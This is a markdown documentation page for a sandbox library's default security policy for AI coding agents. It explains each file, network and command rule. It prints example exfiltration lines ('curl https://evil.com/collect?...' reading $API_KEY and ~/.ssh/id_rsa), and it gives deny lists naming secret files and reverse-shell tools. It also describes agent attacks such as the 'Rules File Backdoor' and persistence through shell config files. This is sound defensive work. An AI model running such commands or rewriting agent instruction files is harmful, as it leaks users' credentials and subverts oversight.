Skip to content

default-policy.md

Latest commit

 

History

History
282 lines (189 loc) · 15.4 KB

default-policy.md

File metadata and controls

282 lines (189 loc) · 15.4 KB

Default Policy (agentDefault)

The agentDefault policy is applied automatically when no custom policy is provided to secureSandbox(). It is designed for AI coding agents that need to read, write, and build code in a workspace — while preventing the most common and well-documented attack vectors against sandboxed agents.

This document explains each rule, the attack it prevents, and links to relevant security research.

File Rules

Allow workspace read/write/create

{ allow: '/workspace/**', ops: ['read', 'write', 'create'] }

The agent can read, write, and create files anywhere under /workspace/. Delete operations are not included — agents cannot remove files, only create and modify them.

Deny git credentials

{ deny: ['/workspace/.git/config', '/workspace/.netrc'] }

.git/config can contain repository credentials (inline https://token@github.com/... URLs). .netrc stores plaintext credentials used by git, curl, and other tools. A compromised agent could read these to push malicious code or access private repositories.

Deny secrets and credential files

{ deny: ['**/.env', '**/.env.*', '**/credentials*', '**/*.pem', '**/*.key'] }

.env files are the most common way developers store API keys, database URLs, and other secrets. PEM and key files contain TLS certificates and private keys. These are the #1 exfiltration target for hijacked agents.

Deny SSH keys and process environment

{ deny: ['~/.ssh/**', '/proc/*/environ'] }

SSH keys enable lateral movement — an agent with access to ~/.ssh/id_rsa could push code to any repository the user has access to, or SSH into production servers. /proc/*/environ exposes every environment variable of every running process, including secrets that were passed via docker run -e SECRET=....

Deny cloud provider credentials

{ deny: ['~/.aws/**', '~/.gcp/**', '~/.azure/**', '~/.config/gcloud/**'] }

Cloud credential files (~/.aws/credentials, ~/.config/gcloud/application_default_credentials.json, etc.) grant access to cloud infrastructure. A compromised agent could spin up crypto mining instances, access S3 buckets, or delete production resources.

Deny shell config files

{ deny: ['~/.bashrc', '~/.zshrc', '~/.profile', '~/.bash_profile'] }

Shell configuration files execute on every new shell session. An agent that writes to ~/.bashrc can establish persistence — injecting commands that run every time the user opens a terminal, even after the agent session ends. This is a well-documented persistence technique.

Deny credential stores

{ deny: ['~/.gitconfig', '~/.netrc', '~/.curlrc', '~/.wgetrc'] }

~/.gitconfig can contain credential helpers and stored tokens. ~/.curlrc and ~/.wgetrc can be modified to route all HTTP traffic through an attacker-controlled proxy, enabling silent exfiltration of any data the agent fetches or sends.

Deny PATH hijacking

{ deny: '~/.local/bin/**' }

~/.local/bin/ is typically at the front of $PATH. An agent that writes a malicious git or npm binary here can intercept all subsequent calls to those tools, capturing credentials or modifying behavior invisibly.

Deny writes to agent config files

{ deny: ['**/.cursorrules', '**/CLAUDE.md', '**/copilot-instructions.md'], ops: ['write', 'create', 'delete'] }

These files are automatically loaded by AI coding tools (Cursor, Claude Code, GitHub Copilot) to provide project-specific instructions. Reads are allowed so the agent can follow project conventions. Writes are blocked because a compromised agent can rewrite these files to inject prompts that persist across sessions — the "Rules File Backdoor" attack.

Network Rules

Allow package registries on port 443

{ allow: ['registry.npmjs.org', 'registry.yarnpkg.com', 'pypi.org',
          'files.pythonhosted.org', 'crates.io', 'static.crates.io',
          'index.crates.io', 'proxy.golang.org', 'sum.golang.org',
          'github.com', 'raw.githubusercontent.com'], ports: [443] }

Agents need to install dependencies (npm install, pip install, cargo build, go mod download) and access source code. Only HTTPS (port 443) is allowed. The allowlist covers npm, PyPI, Cargo, Go modules, and GitHub.

Deny all other network

{ deny: '*' }

Default-deny for all network traffic not matching the allowlist. This prevents:

  • Data exfiltration to attacker-controlled servers
  • Reverse shells via outbound TCP connections
  • DNS tunneling for covert data channels
  • SSRF attacks against internal services

Without this rule, a hijacked agent could curl https://evil.com/collect?secret=$API_KEY or establish a reverse shell to give an attacker interactive access to the sandbox.

Command Rules

Allow safe commands

{ allow: ['bash', 'sh', 'echo', 'cat', 'head', 'tail', 'grep', 'find',
          'ls', 'wc', 'sort', 'uniq', 'diff', 'pwd', 'date', 'which',
          'whoami', 'id', 'uname', 'printf', 'test', 'true', 'false',
          'mkdir', 'cp', 'mv', 'rm', 'touch', 'chmod', 'tr', 'cut',
          'sed', 'awk', 'tee', 'xargs', 'basename', 'dirname', 'realpath',
          'base64', 'md5sum', 'sha256sum', 'tar', 'gzip', 'gunzip'] }

Standard Unix utilities needed for file manipulation, text processing, and build workflows. These are read-only or workspace-scoped operations.

Allow dev tools

{ allow: ['git', 'node', 'npm', 'npx', 'yarn', 'pnpm', 'bun',
          'python', 'python3', 'pip', 'pip3',
          'cargo', 'rustc', 'go', 'make', 'cmake'] }

Language runtimes and package managers needed for development workflows. Note that destructive git operations are separately denied (see below).

Deny environment inspection

{ deny: ['env', 'printenv'] }

env and printenv dump all environment variables, which typically include API keys, database URLs, and other secrets passed to the sandbox. Blocking these prevents bulk secret enumeration.

Deny privilege escalation

{ deny: ['sudo', 'su', 'doas'] }

Privilege escalation commands allow escaping the unprivileged user context. Even inside a container, sudo can be used to modify system files, install rootkits, or disable security controls.

Deny system control

{ deny: ['shutdown', 'reboot', 'halt', 'poweroff'] }

Prevents denial-of-service against the sandbox host.

Deny raw network tools

{ deny: ['nc', 'ncat', 'netcat', 'socat', 'telnet'] }

These tools can establish reverse shells, giving an attacker interactive access to the sandbox. Even with network deny rules, blocking these tools provides defense in depth — if network rules are misconfigured or bypassed, the agent still cannot open a raw TCP connection.

Deny destructive git operations

{ deny: ['git push --force', 'git reset --hard'] }

Force-pushing rewrites remote history and can destroy other developers' work. Hard resets discard uncommitted changes irreversibly. Both are common mistakes made by AI agents that can cause significant damage.

Redirect curl/wget through audited fetch

{ redirect: ['curl', 'wget'], to: { cmd: 'agentsh-fetch', args: ['--audit'] } }

Instead of blocking HTTP clients outright (which breaks many workflows), curl and wget are transparently redirected to agentsh-fetch, which enforces the network allowlist and logs all requests. This catches exfiltration attempts like curl https://evil.com/collect?data=$(cat ~/.ssh/id_rsa) while still allowing legitimate package downloads.

System Policy (Non-overridable)

In addition to the user-facing policy above, a system policy is always applied first. It cannot be overridden and protects agentsh itself:

Rule Denies Purpose
_system-protect-config Write/create/delete on /etc/agentsh/** Prevents the agent from modifying its own policy
_system-protect-binary Write/create/delete on /usr/local/bin/agentsh*, /usr/bin/agentsh* Prevents replacing the agentsh binary
_system-protect-shim-files Write/create/delete on /usr/bin/agentsh-shell-shim, /bin/bash, /bin/sh Prevents disabling the shell shim
_system-protect-process kill, killall, pkill with args matching agentsh Prevents killing the agentsh server

Other Presets

Preset Use Case Key Differences from agentDefault
devSafe Local development, not production No deny-all network, fewer command restrictions, no agent config file protection
ciStrict CI/CD runners Denies all files outside workspace (/**), expanded registries
agentSandbox Untrusted code execution Read-only workspace, no network, no write access anywhere

Extending the Default Policy

Use the extensions parameter to add rules without replacing the base:

import { agentDefault } from '@agentsh/secure-sandbox/policies';

const policy = agentDefault({
  network: [{ allow: ['api.stripe.com'], ports: [443] }],
  file: [{ allow: '/data/**', ops: ['read'] }],
});

Extensions are appended after the base rules. Since agentsh uses first-match-wins evaluation, base rules take priority.

To override base rules (e.g., allow .env access), use mergePrepend:

import { agentDefault, mergePrepend } from '@agentsh/secure-sandbox/policies';

const policy = mergePrepend(agentDefault(), {
  file: [{ allow: '**/.env', ops: ['read'] }],
});

Further Reading